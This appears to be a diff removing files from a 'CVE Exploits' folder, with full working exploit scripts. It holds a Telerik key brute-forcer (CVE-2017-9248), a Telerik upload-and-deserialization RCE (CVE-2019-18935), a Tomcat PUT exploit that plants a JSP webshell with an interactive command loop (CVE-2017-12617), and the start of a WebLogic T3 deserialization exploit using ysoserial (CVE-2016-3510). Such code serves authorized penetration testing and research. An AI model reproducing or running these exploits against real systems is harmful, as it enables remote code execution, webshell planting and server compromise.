-                    "P", "f", "v", "/"
-                  ]
-
-    duff = False
-    accuracy_thoroughness_threshold = args.accuracy
-    for bc in range(int(accuracy_thoroughness_threshold)):
-                                                # ^^ max is len(base64chars)
-        sys.stdout.write("\b\b" + base64chars[bc] + "]")
-        sys.stdout.flush()
-        if not get_result(
-                      base64chars[0] * len(found) + base64chars[bc],
-                      found + keychar, session, pad_chars
-                      ):
-            duff = True
-            break
-    return False if duff else True
-
-
-def encrypt(dpdata, key):
-    encrypted = []
-    k = 0
-    for i in range(len(dpdata)):
-        encrypted.append(chr(ord(dpdata[i]) ^ ord(key[k])))
-        k = 0 if k >= len(key) - 1 else k + 1
-    return ''.join(str(e) for e in encrypted)
-
-
-def mode_decrypt():
-    ciphertext = base64.b64decode(args.ciphertext).decode()
-    key = args.key
-    print(base64.b64decode(encrypt(ciphertext, key)).decode())
-    print("")
-
-
-def mode_encrypt():
-    plaintext = args.plaintext
-    key = args.key
-
-    plaintext = base64.b64encode(plaintext.encode()).decode()
-    print(base64.b64encode(encrypt(plaintext, key).encode()).decode())
-    print("")
-
-
-def test_keypos(key_charset, unprintable, found, session):
-    pad_chars = ''
-    for pad_char in range(256):
-        pad_chars += chr(pad_char)
-
-    for i in range(len(pad_chars)):
-        for k in range(len(key_charset)):
-            keychar = key_charset[k]
-            sys.stdout.write("\b"*6)
-            sys.stdout.write(
-                        (
-                            keychar
-                            if unprintable is False
-                            else '+'
-                        ) +
-                        ") [" + (
-                            keychar
-                            if unprintable is False
-                            else '+'
-                        ) +
-                        "]"
-                    )
-            sys.stdout.flush()
-            if test_keychar(keychar, found, session, pad_chars[i] * 3):
-                return keychar
-    return False
-
-
-def get_key(session):
-    global char_requests
-    found = ''
-    unprintable = False
-
-    key_length = args.key_len
-    key_charset = args.charset
-    if key_charset == 'all':
-        unprintable = True
-        key_charset = ''
-        for i in range(256):
-            key_charset += chr(i)
-    else:
-        if key_charset == 'hex':
-            key_charset = '01234567890ABCDEF'
-
-    print("Attacking " + args.url)
-    print(
-        "to find key of length [" +
-        str(key_length) +
-        "] with accuracy threshold [" +
-        str(args.accuracy) +
-        "]"
-    )
-    print(
-        "using key charset [" +
-        (
-            key_charset
-            if unprintable is False
-            else '- all ASCII -'
-        ) +
-        "]\n"
-    )
-    for i in range(int(key_length)):
-        pos_str = (
-            str(i + 1)
-            if i > 8
-            else "0" + str(i + 1)
-        )
-        sys.stdout.write("Key position " + pos_str + ": (------")
-        sys.stdout.flush()
-        keychar = test_keypos(key_charset, unprintable, found, session)
-        if keychar is not False:
-            found = found + keychar
-            sys.stdout.write(
-                          "\b"*7 + "{" +
-                          (
-                              keychar
-                              if unprintable is False
-                              else '0x' + binascii.hexlify(keychar.encode()).decode()
-                          ) +
-                          "} found with " +
-                          str(char_requests) +
-                          " requests, total so far: " +
-                          str(requests_sent) +
-                          "\n"
-                      )
-            sys.stdout.flush()
-            char_requests = 0
-        else:
-            sys.stdout.write("\b"*7 + "Not found, quitting\n")
-            sys.stdout.flush()
-            break
-    if keychar is not False:
-        print("Found key: " +
-              (
-                found
-                if unprintable is False
-                else "(hex) " + binascii.hexlify(found.encode()).decode()
-              )
-              )
-    print("Total web requests: " + str(requests_sent))
-    return found
-
-
-def mode_brutekey():
-    session = requests.Session()
-    found = get_key(session)
-
-    if found == '':
-        return
-    else:
-        urls = {}
-        url_path = args.url
-        params = (
-                    '?DialogName=DocumentManager' +
-                    '&renderMode=2' +
-                    '&Skin=Default' +
-                    '&Title=Document%20Manager' +
-                    '&dpptn=' +
-                    '&isRtl=false' +
-                    '&dp='
-                  )
-        versions = [
-                    '2007.1423', '2007.1521', '2007.1626', '2007.2918',
-                    '2007.21010', '2007.21107', '2007.31218', '2007.31314',
-                    '2007.31425', '2008.1415', '2008.1515', '2008.1619',
-                    '2008.2723', '2008.2826', '2008.21001', '2008.31105',
-                    '2008.31125', '2008.31314', '2009.1311', '2009.1402',
-                    '2009.1527', '2009.2701', '2009.2826', '2009.31103',
-                    '2009.31208', '2009.31314', '2010.1309', '2010.1415',
-                    '2010.1519', '2010.2713', '2010.2826', '2010.2929',
-                    '2010.31109', '2010.31215', '2010.31317', '2011.1315',
-                    '2011.1413', '2011.1519', '2011.2712', '2011.2915',
-                    '2011.31115', '2011.3.1305', '2012.1.215', '2012.1.411',
-                    '2012.2.607', '2012.2.724', '2012.2.912', '2012.3.1016',
-                    '2012.3.1205', '2012.3.1308', '2013.1.220', '2013.1.403',
-                    '2013.1.417', '2013.2.611', '2013.2.717', '2013.3.1015',
-                    '2013.3.1114', '2013.3.1324', '2014.1.225', '2014.1.403',
-                    '2014.2.618', '2014.2.724', '2014.3.1024', '2015.1.204',
-                    '2015.1.225', '2015.1.401', '2015.2.604', '2015.2.623',
-                    '2015.2.729', '2015.2.826', '2015.3.930', '2015.3.1111',
-                    '2016.1.113', '2016.1.225', '2016.2.504', '2016.2.607',
-                    '2016.3.914', '2016.3.1018', '2016.3.1027', '2017.1.118',
-                    '2017.1.228', '2017.2.503', '2017.2.621', '2017.2.711',
-                    '2017.3.913'
-                    ]
-
-        plaintext1 = 'EnableAsyncUpload,False,3,True;DeletePaths,True,0,Zmc9PSxmZz09;EnableEmbeddedBaseStylesheet,False,3,True;RenderMode,False,2,2;UploadPaths,True,0,Zmc9PQo=;SearchPatterns,True,0,S2k0cQ==;EnableEmbeddedSkins,False,3,True;MaxUploadFileSize,False,1,204800;LocalizationPath,False,0,;FileBrowserContentProviderTypeName,False,0,;ViewPaths,True,0,Zmc9PQo=;IsSkinTouch,False,3,False;ExternalDialogsPath,False,0,;Language,False,0,ZW4tVVM=;Telerik.DialogDefinition.DialogTypeName,False,0,'
-        plaintext2_raw1 = 'Telerik.Web.UI.Editor.DialogControls.DocumentManagerDialog, Telerik.Web.UI, Version='
-        plaintext2_raw3 = ', Culture=neutral, PublicKeyToken=121fae78165ba3d4'
-        plaintext3 = ';AllowMultipleSelection,False,3,False'
-
-        if len(args.version) > 0:
-            versions = [args.version]
-
-        for version in versions:
-            plaintext2_raw2 = version
-            plaintext2 = base64.b64encode(
-                            (plaintext2_raw1 +
-                                plaintext2_raw2 +
-                                plaintext2_raw3
-                             ).encode()
-                        ).decode()
-            plaintext = plaintext1 + plaintext2 + plaintext3
-            plaintext = base64.b64encode(
-                            plaintext.encode()
-                        ).decode()
-            ciphertext = base64.b64encode(
-                            encrypt(
-                                plaintext,
-                                found
-                            ).encode()
-                        ).decode()
-            full_url = url_path + params + ciphertext
-            urls[version] = full_url
-
-        found_valid_version = False
-        for version in urls:
-            url = urls[version]
-            request = requests.Request('GET', url)
-            request = request.prepare()
-            response = session.send(request, verify=False, proxies=getProxy(args.proxy))
-            if response.status_code == 500:
-                continue
-            else:
-                match = re.search(
-                    "(Error Message:)(.+\n*.+)(</div>)",
-                    response.text
-                    )
-                if match is None:
-                    print(version + ": " + url)
-                    found_valid_version = True
-                    break
-
-        if not found_valid_version:
-            print("No valid version found")
-
-def mode_samples():
-    print("Samples for testing decryption and encryption functions:")
-    print("-d ciphertext key")
-    print("-e plaintext key")
-    print("")
-    print("Key:")
-    print("DC50EEF37087D124578FD4E205EFACBE0D9C56607ADF522D")
-    print("")
-    print("Plaintext:")
-    print("EnableAsyncUpload,False,3,True;DeletePaths,True,0,Zmc9PSxmZz09;EnableEmbeddedBaseStylesheet,False,3,True;RenderMode,False,2,2;UploadPaths,True,0,Zmc9PQo=;SearchPatterns,True,0,S2k0cQ==;EnableEmbeddedSkins,False,3,True;MaxUploadFileSize,False,1,204800;LocalizationPath,False,0,;FileBrowserContentProviderTypeName,False,0,;ViewPaths,True,0,Zmc9PQo=;IsSkinTouch,False,3,False;ExternalDialogsPath,False,0,;Language,False,0,ZW4tVVM=;Telerik.DialogDefinition.DialogTypeName,False,0,VGVsZXJpay5XZWIuVUkuRWRpdG9yLkRpYWxvZ0NvbnRyb2xzLkRvY3VtZW50TWFuYWdlckRpYWxvZywgVGVsZXJpay5XZWIuVUksIFZlcnNpb249MjAxNi4yLjUwNC40MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0xMjFmYWU3ODE2NWJhM2Q0;AllowMultipleSelection,False,3,False")
-    print("")
-    print("Ciphertext:")
-    print("FhQAWBwoPl9maHYCJlx8YlZwQDAdYxRBYlgDNSJxFzZ9PUEWVlhgXHhxFipXdWR0HhV3WCECLkl7dmpOIGZnR3h0QCcmYwgHZXMLciMVMnN9AFJ0Z2EDWG4sPCpnZQMtHhRnWx8SFHBuaHZbEQJgAVdwbjwlcxNeVHY9ARgUOj9qF045eXBkSVMWEXFgX2QxHgRjSRESf1htY0BwHWZKTm9kTz8IcAwFZm0HNSNxBC5lA39zVH57Q2EJDndvYUUzCAVFRBw/KmJiZwAOCwB8WGxvciwlcgdaVH0XKiIudz98Ams6UWFjQ3oCPBJ4X0EzHXJwCRURMnVVXX5eJnZkcldgcioecxdeanMLNCAUdz98AWMrV354XHsFCTVjenh1HhdBfhwdLmVUd0BBHWZgc1RgQCoRBikEamY9ARgUOj9qF047eXJ/R3kFIzF4dkYJJnF7WCcCKgVuaGpHJgMHZWxvaikIcR9aUn0LKg0HAzZ/dGMzV3Fgc1QsfXVWAGQ9FXEMRSECEEZTdnpOJgJoRG9wbj8SfClFamBwLiMUFzZiKX8wVgRjQ3oCM3FjX14oIHJ3WCECLkl7dmpOIGZnR3h0QCcmYwgHZXMDMBEXNg9TdXcxVGEDZVVyEixUcUoDHRRNSh8WMUl7dWJfJnl8WHoHbnIgcxNLUlgDNRMELi1SAwAtVgd0WFMGIzVnX3Q3J3FgQwgGMQRjd35CHgJkXG8FbTUWWQNBUwcQNQwAOiRmPmtzY1psfmcVMBNvZUooJy5ZQgkuFENuZ0BBHgFgWG9aVDMlbBdCUgdxMxMELi1SAwAtY35aR20UcS5XZWc3Fi5zQyZ3E0B6c0BgFgBoTmJbUA0ncwMHfmMtJxdzLnRmKG8xUWB8aGIvBi1nSF5xEARBYyYDKmtSeGJWCXQHBmxaDRUhYwxLVX01CyByCHdnEHcUUXBGaHkVBhNjAmh1ExVRWycCCEFiXnptEgJaBmJZVHUeBR96ZlsLJxYGMjJpHFJyYnBGaGQZEhFjZUY+FxZvUScCCEZjXnpeCVtjAWFgSAQhcXBCfn0pCyAvFHZkL3RzeHMHdFNzIBR4A2g+HgZdZyATNmZ6aG5WE3drQ2wFCQEnBD12YVkDLRdzMj9pEl0MYXBGaVUHEi94XGA3HS5aRyAAd0JlXQltEgBnTmEHagAJX3BqY1gtCAwvBzJ/dH8wV3EPA2MZEjVRdV4zJgRjZB8SPl9uA2pHJgMGR2dafjUnBhBBfUw9ARgUOj9qFQR+")
-    print("")
-
-
-def mode_b64e():
-    print(base64.b64encode(args.parameter.encode()).decode())
-    print("")
-
-
-def mode_b64d():
-    print(base64.b64decode(args.parameter.encode()).decode())
-    print("")
-
-sys.stderr.write(
-              "\ndp_crypto by Paul Taylor / @bao7uo\nCVE-2017-9248 - " +
-              "Telerik.Web.UI.dll Cryptographic compromise\n\n"
-            )
-
-p = argparse.ArgumentParser()
-subparsers = p.add_subparsers()
-
-decrypt_parser = subparsers.add_parser('d', help='Decrypt a ciphertext')
-decrypt_parser.set_defaults(func=mode_decrypt)
-decrypt_parser.add_argument('ciphertext', action='store', type=str, default='', help='Ciphertext to decrypt')
-decrypt_parser.add_argument('key', action='store', type=str, default='', help='Key to decrypt')
-
-encrypt_parser = subparsers.add_parser('e', help='Encrypt a plaintext')
-encrypt_parser.set_defaults(func=mode_encrypt)
-encrypt_parser.add_argument('plaintext', action='store', type=str, default='', help='Ciphertext to decrypt')
-encrypt_parser.add_argument('key', action='store', type=str, default='', help='Key to decrypt')
-
-brute_parser = subparsers.add_parser('k', help='Bruteforce key/generate URL')
-brute_parser.set_defaults(func=mode_brutekey)
-brute_parser.add_argument('-u', '--url', action='store', type=str, help='Target URL')
-brute_parser.add_argument('-l', '--key-len', action='store', type=int, default=48, help='Len of the key to retrieve, OPTIONAL: default is 48')
-brute_parser.add_argument('-o', '--oracle', action='store', type=str, default='Index was outside the bounds of the array.', help='The oracle text to use. OPTIONAL: default value is for english version, other languages may have other error message')
-brute_parser.add_argument('-v', '--version', action='store', type=str, default='', help='OPTIONAL. Specify the version to use rather than iterating over all of them')
-brute_parser.add_argument('-c', '--charset', action='store', type=str, default='hex', help='Charset used by the key, can use all, hex, or user defined. OPTIONAL: default is hex')
-brute_parser.add_argument('-a', '--accuracy', action='store', type=int, default=9, help='Maximum accuracy is out of 64 where 64 is the most accurate, \
-    accuracy of 9 will usually suffice for a hex, but 21 or more might be needed when testing all ascii characters. Increase the accuracy argument if no valid version is found. OPTIONAL: default is 9.')
-brute_parser.add_argument('-p', '--proxy', action='store', type=str, default='', help='Specify OPTIONAL proxy server, e.g. 127.0.0.1:8080')
-
-encode_parser = subparsers.add_parser('b', help='Encode parameter to base64')
-encode_parser.set_defaults(func=mode_b64e)
-encode_parser.add_argument('parameter', action='store', type=str, help='Parameter to encode')
-
-decode_parser = subparsers.add_parser('p', help='Decode base64 parameter')
-decode_parser.set_defaults(func=mode_b64d)
-decode_parser.add_argument('parameter', action='store', type=str, help='Parameter to decode')
-
-args = p.parse_args()
-
-if len(sys.argv) > 2:
-    args.func()

CVE Exploits/Telerik CVE-2019-18935.py

@@ -1,140 +0,0 @@
-#!/usr/bin/env python3
-# origin : https://github.com/noperator/CVE-2019-18935
-# INSTALL: 
-# git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
-#  python3 -m venv env
-#  source env/bin/activate
-#  pip3 install -r requirements.txt
-
-# Import encryption routines.
-from sys import path
-path.insert(1, 'RAU_crypto')
-from RAU_crypto import RAUCipher
-
-from argparse import ArgumentParser
-from json import dumps, loads
-from os.path import basename, splitext
-from pprint import pprint
-from requests import post
-from requests.packages.urllib3 import disable_warnings
-from sys import stderr
-from time import time
-from urllib3.exceptions import InsecureRequestWarning
-
-disable_warnings(category=InsecureRequestWarning)
-
-def send_request(files):
-    headers = {
-        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0',
-        'Connection': 'close',
-        'Accept-Language': 'en-US,en;q=0.5',
-        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
-        'Upgrade-Insecure-Requests': '1'
-    }
-    response = post(url, files=files, verify=False, headers=headers)
-    try:
-        result = loads(response.text)
-        result['metaData'] = loads(RAUCipher.decrypt(result['metaData']))
-        pprint(result)
-    except:
-        print(response.text)
-
-def build_raupostdata(object, type):
-    return RAUCipher.encrypt(dumps(object)) + '&' + RAUCipher.encrypt(type)
-
-def upload():
-
-    # Build rauPostData.
-    object = {
-        'TargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(''), ui_version),
-        'TempTargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(temp_target_folder), ui_version),
-        'MaxFileSize': 0,
-        'TimeToLive': {  # These values seem a bit arbitrary, but when they're all set to 0, the payload disappears shortly after being written to disk.
-            'Ticks': 1440000000000,
-            'Days': 0,
-            'Hours': 40,
-            'Minutes': 0,
-            'Seconds': 0,
-            'Milliseconds': 0,
-            'TotalDays': 1.6666666666666666,
-            'TotalHours': 40,
-            'TotalMinutes': 2400,
-            'TotalSeconds': 144000,
-            'TotalMilliseconds': 144000000
-        },
-        'UseApplicationPoolImpersonation': False
-    }
-    type = 'Telerik.Web.UI.AsyncUploadConfiguration, Telerik.Web.UI, Version=' + ui_version + ', Culture=neutral, PublicKeyToken=121fae78165ba3d4'
-    raupostdata = build_raupostdata(object, type)
-    
-    with open(filename_local, 'rb') as f:
-        payload = f.read()
-    
-    metadata = {
-        'TotalChunks': 1,
-        'ChunkIndex': 0,
-        'TotalFileSize': 1,
-        'UploadID': filename_remote  # Determines remote filename on disk.
-    }
-    
-    # Build multipart form data.
-    files = {
-        'rauPostData': (None, raupostdata),
-        'file': (filename_remote, payload, 'application/octet-stream'),
-        'fileName': (None, filename_remote),
-        'contentType': (None, 'application/octet-stream'),
-        'lastModifiedDate': (None, '1970-01-01T00:00:00.000Z'),
-        'metadata': (None, dumps(metadata))
-    }
-    
-    # Send request.
-    print('[*] Local payload name: ', filename_local, file=stderr)
-    print('[*] Destination folder: ', temp_target_folder, file=stderr)
-    print('[*] Remote payload name:', filename_remote, file=stderr)
-    print(file=stderr)
-    send_request(files)
-
-def deserialize():
-
-    # Build rauPostData.
-    object = {
-        'Path': 'file:///' + temp_target_folder.replace('\\', '/') + '/' + filename_remote
-    }
-    type = 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=' + net_version + ', Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'
-    raupostdata = build_raupostdata(object, type)
-    
-    # Build multipart form data.
-    files = {
-        'rauPostData': (None, raupostdata),  # Only need this now.
-        '': ''  # One extra input is required for the page to process the request.
-    }
-    
-    # Send request.
-    print('\n[*] Triggering deserialization for .NET v' + net_version + '...\n', file=stderr)
-    start = time()
-    send_request(files)
-    end = time()
-    print('\n[*] Response time:', round(end - start, 2), 'seconds', file=stderr)
-
-if __name__ == '__main__':
-    parser = ArgumentParser(description='Exploit for CVE-2019-18935, a .NET deserialization vulnerability in Telerik UI for ASP.NET AJAX.')
-    parser.add_argument('-t', dest='test_upload', action='store_true', help="just test file upload, don't exploit deserialization vuln")
-    parser.add_argument('-v', dest='ui_version', required=True, help='software version')
-    parser.add_argument('-n', dest='net_version', default='4.0.0.0', help='.NET version')
-    parser.add_argument('-p', dest='payload', required=True, help='mixed mode assembly DLL')
-    parser.add_argument('-f', dest='folder', required=True, help='destination folder on target')
-    parser.add_argument('-u', dest='url', required=True, help='https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau')
-    args = parser.parse_args()
-
-    temp_target_folder = args.folder.replace('/', '\\')
-    ui_version = args.ui_version
-    net_version = args.net_version
-    filename_local = args.payload
-    filename_remote = str(time()) + splitext(basename(filename_local))[1]
-    url = args.url
-
-    upload()
-
-    if not args.test_upload:
-        deserialize()
-

CVE Exploits/Tomcat CVE-2017-12617.py

@@ -1,239 +0,0 @@
-#!/usr/bin/python
-# From https://github.com/cyberheartmi9/CVE-2017-12617/blob/master/tomcat-cve-2017-12617.py
-"""
-./cve-2017-12617.py [options]
-
-
-options:
-
-
--u ,--url [::] check target url if it's vulnerable
--p,--pwn [::] generate webshell and upload it
--l,--list [::] hosts list
-
-
-[+]usage:
-
-
-./cve-2017-12617.py -u http://127.0.0.1
-./cve-2017-12617.py --url http://127.0.0.1
-./cve-2017-12617.py -u http://127.0.0.1 -p pwn
-./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn
-./cve-2017-12617.py -l hotsts.txt
-./cve-2017-12617.py --list hosts.txt
-"""
-from __future__ import print_function
-from builtins import input
-from builtins import str
-from builtins import object
-import requests
-import re
-import signal
-from optparse import OptionParser
-
-
-
-
-
-
-
-
-class bcolors(object):
-    HEADER = '\033[95m'
-    OKBLUE = '\033[94m'
-    OKGREEN = '\033[92m'
-    WARNING = '\033[93m'
-    FAIL = '\033[91m'
-    ENDC = '\033[0m'
-    BOLD = '\033[1m'
-    UNDERLINE = '\033[4m'
-
-
-
-
-banner="""
-
-
-   _______      ________    ___   ___  __ ______     __ ___   __ __ ______
-  / ____\ \    / /  ____|  |__ \ / _ \/_ |____  |   /_ |__ \ / //_ |____  |
- | |     \ \  / /| |__ ______ ) | | | || |   / /_____| |  ) / /_ | |   / /
- | |      \ \/ / |  __|______/ /| | | || |  / /______| | / / '_ \| |  / /
- | |____   \  /  | |____    / /_| |_| || | / /       | |/ /| (_) | | / /
-  \_____|   \/   |______|  |____|\___/ |_|/_/        |_|____\___/|_|/_/
-
-
-
-[@intx0x80]
-
-"""
-
-
-
-
-
-def signal_handler(signal, frame):
-
-    print ("\033[91m"+"\n[-] Exiting"+"\033[0m")
-
-    exit()
-
-signal.signal(signal.SIGINT, signal_handler)
-
-
-
-
-def removetags(tags):
-    remove = re.compile('<.*?>')
-    txt = re.sub(remove, '\n', tags)
-    return txt.replace("\n\n\n","\n")
-
-
-def getContent(url,f):
-    headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
-    re=requests.get(str(url)+"/"+str(f), headers=headers)
-    return re.content
-
-def createPayload(url,f):
-    evil='<% out.println("AAAAAAAAAAAAAAAAAAAAAAAAAAAAA");%>'
-    headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
-    req=requests.put(str(url)+str(f)+"/",data=evil, headers=headers)
-    if req.status_code==201:
-        print("File Created ..")
-
-
-def RCE(url,f):
-    EVIL="""<FORM METHOD=GET ACTION='{}'>""".format(f)+"""
-    <INPUT name='cmd' type=text>
-    <INPUT type=submit value='Run'>
-    </FORM>
-    <%@ page import="java.io.*" %>
-    <%
-   String cmd = request.getParameter("cmd");
-   String output = "";
-   if(cmd != null) {
-      String s = null;
-      try {
-         Process p = Runtime.getRuntime().exec(cmd,null,null);
-         BufferedReader sI = new BufferedReader(new
-InputStreamReader(p.getInputStream()));
-         while((s = sI.readLine()) != null) { output += s+"</br>"; }
-      }  catch(IOException e) {   e.printStackTrace();   }
-   }
-%>
-<pre><%=output %></pre>"""
-
-
-
-    headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
-
-    req=requests.put(str(url)+f+"/",data=EVIL, headers=headers)
-
-
-
-def shell(url,f):
-
-    while True:
-        headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
-        cmd=input("$ ")
-        payload={'cmd':cmd}
-        if cmd=="q" or cmd=="Q":
-            break
-
-        re=requests.get(str(url)+"/"+str(f),params=payload,headers=headers)
-        re=str(re.content)
-        t=removetags(re)
-        print(t)
-
-
-
-
-
-#print bcolors.HEADER+ banner+bcolors.ENDC
-
-parse=OptionParser(
-
-
-bcolors.HEADER+"""
-
-
-   _______      ________    ___   ___  __ ______     __ ___   __ __ ______
-  / ____\ \    / /  ____|  |__ \ / _ \/_ |____  |   /_ |__ \ / //_ |____  |
- | |     \ \  / /| |__ ______ ) | | | || |   / /_____| |  ) / /_ | |   / /
- | |      \ \/ / |  __|______/ /| | | || |  / /______| | / / '_ \| |  / /
- | |____   \  /  | |____    / /_| |_| || | / /       | |/ /| (_) | | / /
-  \_____|   \/   |______|  |____|\___/ |_|/_/        |_|____\___/|_|/_/
-
-
-
-
-./cve-2017-12617.py [options]
-
-options:
-
--u ,--url [::] check target url if it's vulnerable
--p,--pwn  [::] generate webshell and upload it
--l,--list [::] hosts list
-
-[+]usage:
-
-./cve-2017-12617.py -u http://127.0.0.1
-./cve-2017-12617.py --url http://127.0.0.1
-./cve-2017-12617.py -u http://127.0.0.1 -p pwn
-./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn
-./cve-2017-12617.py -l hotsts.txt
-./cve-2017-12617.py --list hosts.txt
-
-
-[@intx0x80]
-
-"""+bcolors.ENDC
-
-    )
-
-
-parse.add_option("-u","--url",dest="U",type="string",help="Website Url")
-parse.add_option("-p","--pwn",dest="P",type="string",help="generate webshell and upload it")
-parse.add_option("-l","--list",dest="L",type="string",help="hosts File")
-
-(opt,args)=parse.parse_args()
-
-if opt.U==None and opt.P==None and opt.L==None:
-    print(parse.usage)
-    exit(0)
-
-
-
-else:
-    if opt.U!=None and opt.P==None and opt.L==None:
-        print(bcolors.OKGREEN+banner+bcolors.ENDC)
-        url=str(opt.U)
-        checker="Poc.jsp"
-        print(bcolors.BOLD +"Poc Filename  {}".format(checker))
-        createPayload(str(url)+"/",checker)
-        con=getContent(str(url)+"/",checker)
-        if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
-            print(bcolors.WARNING+url+' it\'s Vulnerable to CVE-2017-12617'+bcolors.ENDC)
-            print(bcolors.WARNING+url+"/"+checker+bcolors.ENDC)
-
-        else:
-            print('Not Vulnerable to CVE-2017-12617 ')
-    elif opt.P!=None and opt.U!=None and  opt.L==None:
-        print(bcolors.OKGREEN+banner+bcolors.ENDC)
-        pwn=str(opt.P)
-        url=str(opt.U)
-        print("Uploading Webshell .....")
-        pwn=pwn+".jsp"
-        RCE(str(url)+"/",pwn)
-        shell(str(url),pwn)
-    elif opt.L!=None and opt.P==None and opt.U==None:
-        print(bcolors.OKGREEN+banner+bcolors.ENDC)
-        w=str(opt.L)
-        f=open(w,"r")
-        print("Scaning hosts in {}".format(w))
-        checker="Poc.jsp"
-        for i in f.readlines():
-            i=i.strip("\n")
-            createPayload(str(i)+"/",checker)
-            con=getContent(str(i)+"/",checker)
-            if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
-                print(str(i)+"\033[91m"+" [ Vulnerable ] ""\033[0m")

CVE Exploits/WebLogic CVE-2016-3510.py

@@ -1,72 +0,0 @@
-#!/usr/bin/env python2
-
-#Oracle WebLogic Server Java Object Deserialization RCE (CVE-2016-3510)
-#Based on the PoC by FoxGlove Security (https://github.com/foxglovesec/JavaUnserializeExploits)
-#Made with <3 by @byt3bl33d3r
-
-from __future__ import print_function
-import socket
-import struct
-import argparse
-import os
-import sys
-from subprocess import check_output
-
-ysoserial_default_paths = ['./ysoserial.jar', '../ysoserial.jar']
-ysoserial_path = None
-
-parser = argparse.ArgumentParser()
-parser.add_argument('target', type=str, help='Target IP:PORT')
-parser.add_argument('command', type=str, help='Command to run on target')
-parser.add_argument('--ysoserial-path', metavar='PATH', type=str, help='Path to ysoserial JAR (default: tries current and previous directory)')
-
-if len(sys.argv) < 2:
-    parser.print_help()
-    sys.exit(1)
-
-args = parser.parse_args()
-
-if not args.ysoserial_path:
-    for path in ysoserial_default_paths:
-        if os.path.exists(path):
-            ysoserial_path = path
-else:
-    if os.path.exists(args.ysoserial_path):
-        ysoserial_path = args.ysoserial_path
-
-if len(args.target.split(':')) != 2:
-    print('[-] Target must be in format IP:PORT')
-    sys.exit(1)
-
-if not args.command:
-    print('[-] You must specify a command to run')
-    sys.exit(1)
-
-ip, port = args.target.split(':')
-
-sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-
-print('[*] Target IP: {}'.format(ip))
-print('[*] Target PORT: {}'.format(port))
-
-sock.connect((ip, int(port)))
-
-# Send headers
-headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
-print('[*] Sending header')
-sock.sendall(headers)
-
-data = sock.recv(1024)
-print('[*] Received: "{}"'.format(data))
-
-payloadObj = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections1', args.command])
-
-payload = '\x00\x00\x09\xf3\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00'
-payload += payloadObj
